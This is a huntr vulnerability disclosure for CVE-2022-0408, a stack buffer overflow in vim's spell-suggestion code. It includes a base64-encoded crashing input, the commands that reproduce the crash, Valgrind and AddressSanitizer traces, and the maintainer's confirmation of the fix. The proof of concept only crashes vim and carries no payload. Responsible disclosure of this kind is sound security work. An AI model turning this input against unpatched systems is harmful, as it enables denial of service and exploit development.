huntr

Stack-based Buffer Overflow in vim/vim

0

✓ Valid Reported on Jan 26th 2022

Description

Stack overflow occurs in spellsuggest.c.
commit : 44db8213d38c39877d2148eff6a72f4beccfb94e

Proof of Concept

```
$ echo -ne "bm9ybRZzMDAwRzAw/TAwMDAwMDAwMDAwMApzaWwwbm9ybS4udnpHLi4uLi4uLi4
ekcwICAgICB2IHo9" | base64 -d > minimized_poc

# Valgrind
$ ./vg-in-place -s ../vim-valgrind/src/vim -u NONE -i NONE -n -X -Z -e -m -
==596658== Memcheck, a memory error detector
==596658== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==596658== Using Valgrind-3.19.0.GIT and LibVEX; rerun with -h for copyrigh
==596658== Command: ../vim-valgrind/src/vim -u NONE -i NONE -n -X -Z -e -m
==596658==
==596658== Invalid read of size 4
==596658==    at 0x32FCBD: add_suggestion (spellsuggest.c:3530)
==596658==    by 0x32A8D1: suggest_trie_walk (spellsuggest.c:1639)
==596658==    by 0x1FFFFFFFF: ???
==596658==    by 0x10000000000FF00: ???
==596658==  Address 0x6000000008 is not stack'd, malloc'd or (recently) fre
==596658==
==596658==
==596658== Process terminating with default action of signal 11 (SIGSEGV):
==596658==    at 0x4A2255B: kill (syscall-template.S:78)
==596658==    by 0x28FE98: may_core_dump (os_unix.c:3510)
==596658==    by 0x28FE4C: mch_exit (os_unix.c:3476)
==596658==    by 0x40A260: getout (main.c:1721)
==596658==    by 0x25302D: preserve_exit (misc1.c:2194)
```

```
==596658==    by 0x28E408: deathtrap (os_unix.c:1156)
==596658==    by 0x4A2220F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.so)
==596658==    by 0x32FCBC: add_suggestion (spellsuggest.c:3530)

==596658==    by 0x32A8D1: suggest_trie_walk (spellsuggest.c:1639)
==596658==    by 0x1FFFFFFFF: ???
==596658==    by 0x1000000000FF00: ???
==596658==
==596658== HEAP SUMMARY:
==596658==     in use at exit: 114,315 bytes in 593 blocks
==596658==   total heap usage: 1,864 allocs, 1,271 frees, 1,057,411 bytes a
==596658==
==596658== LEAK SUMMARY:
==596658==    definitely lost: 1,679 bytes in 6 blocks
==596658==    indirectly lost: 8 bytes in 3 blocks
==596658==      possibly lost: 268 bytes in 1 blocks
==596658==    still reachable: 112,360 bytes in 583 blocks
==596658==         suppressed: 0 bytes in 0 blocks
==596658== Rerun with --leak-check=full to see details of leaked memory
==596658==
==596658== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
==596658==
==596658== 1 errors in context 1 of 1:
==596658== Invalid read of size 4
==596658==    at 0x32FCBD: add_suggestion (spellsuggest.c:3530)
==596658==    by 0x32A8D1: suggest_trie_walk (spellsuggest.c:1639)
==596658==    by 0x1FFFFFFFF: ???
==596658==    by 0x1000000000FF00: ???
==596658==  Address 0x6000000008 is not stack'd, malloc'd or (recently) fre
==596658==
==596658== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault

# ASAN
$ ~/fuzzing/vim-asan/src/vim -u NONE -i NONE -n -X -Z -e -m -s -S ~/fuzzing
=================================================================
==250851==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffff
WRITE of size 32 at 0x7fffffff6b20 thread T0
    #0 0x49670f in __asan_memcpy (/home/alkyne/fuzzing/vim-a
    #1 0xb08866 in go_deeper /home/alkyne/fuzzing/vim-asan/
    #2 0xb08866 in suggest_trie_walk /home/alkyne/fuzzing/vim-asan/src/spel
    #3 0xafa3e1 in suggest_try_change /home/alkyne/fuzzing/vim-asan/src/spe
    #4 0xafa3e1 in spell_suggest_intern /home/alkyne/fuzzing/vim-asan/src/s
    #5 0xafa3e1 in spell_find_suggest /home/alkyne/fuzzing/vim-asan/src/spe

    #6 0xaf6ffd in spell_suggest /home/alkyne/fuzzing/vim-asan/src/spellsug
    #7 0x894d7b in nv_zet /home/alkyne/fuzzing/vim-asan/src/normal.c:3398:7
    #8 0x864da8 in normal_cmd /home/alkyne/fuzzing/vim-asan/src/normal.c:12
    #9 0x6a1a76 in exec_normal /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
    #10 0x6a0bb1 in exec_normal_cmd /home/alkyne/fuzzing/vim-asan/src/ex_dc
    #11 0x6a0bb1 in ex_normal /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c:
    #12 0x67e82c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
    #13 0x67e82c in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
    #14 0xa71d9d in do_source /home/alkyne/fuzzing/vim-asan/src/scriptfile.
    #15 0xa7042d in cmd_source /home/alkyne/fuzzing/vim-asan/src/scriptfile
    #16 0xa7042d in ex_source /home/alkyne/fuzzing/vim-asan/src/scriptfile.
    #17 0x67e82c in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
    #18 0x67e82c in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
    #19 0xd97b27 in exe_commands /home/alkyne/fuzzing/vim-asan/src/main.c:3
    #20 0xd97b27 in vim_main2 /home/alkyne/fuzzing/vim-asan/src/main.c:774:
    #21 0xd95139 in main /home/alkyne/fuzzing/vim-asan/src/main.c:426:12
    #22 0x7ffff7c260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #23 0x41eacd in _start (/home/alkyne/fuzzing/vim-asan/src/vim+0x41eacd)

Address 0x7fffffff6b20 is located in stack of thread T0 at offset 11776 in
    #0 0xb01cbf in suggest_trie_walk /home/alkyne/fuzzing/vim-asan/src/spel

  This frame has 11 object(s):
    [32, 152) 'stack.i.i.i' (line 4307)
    [192, 200) 'p.i.i.i' (line 4316)
    [224, 1240) 'wbadword.i.i.i' (line 4317)
    [1376, 2392) 'wgoodword.i.i.i' (line 4318)
    [2528, 2648) 'stack.i.i' (line 4132)
    [2688, 2942) 'theword.i' (line 3169)
    [3008, 3262) 'cword.i' (line 3267)
    [3328, 3582) 'tword' (line 1248)
    [3648, 11776) 'stack' (line 1249) <== Memory access at offset 11776 ove
    [12032, 12794) 'preword' (line 1250)
    [12928, 13182) 'compflags' (line 1255)
HINT: this may be a false positive if your program uses some
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/alkyne/fuzzing/vim-
Shadow bytes around the buggy address:
  0x10007fff6d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff6d20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x10007fff6d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff6d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff6d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10007fff6d60: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x10007fff6d70: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x10007fff6d80: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff6d90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff6da0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff6db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==250851==ABORTING
```

Impact

Stack bof may lead to exploit the program.

CVE

CVE-2022-0408
(Published)

Vulnerability Type

CWE-121: Stack-based Buffer Overflow

Severity

High (8.4)

Visibility

Public

Status

Fixed

Found by

alkyne Choi

@alkyne

unranked

Fixed by

Bram Moolenaar

@brammool

maintainer

This report was seen 805 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar validated this vulnerability 10 months ago

alkyne Choi has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Bram Moolenaar 10 months ago

Chat with us

I can reproduce it. It goes over the end of an array on the stack, causing other values on the stack to be messed up.

Bram Moolenaar 10 months ago

Maintainer

Fixed with patch 8.2.4247

Bram Moolenaar marked this as fixed in 8.2 with commit 06f154 10 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us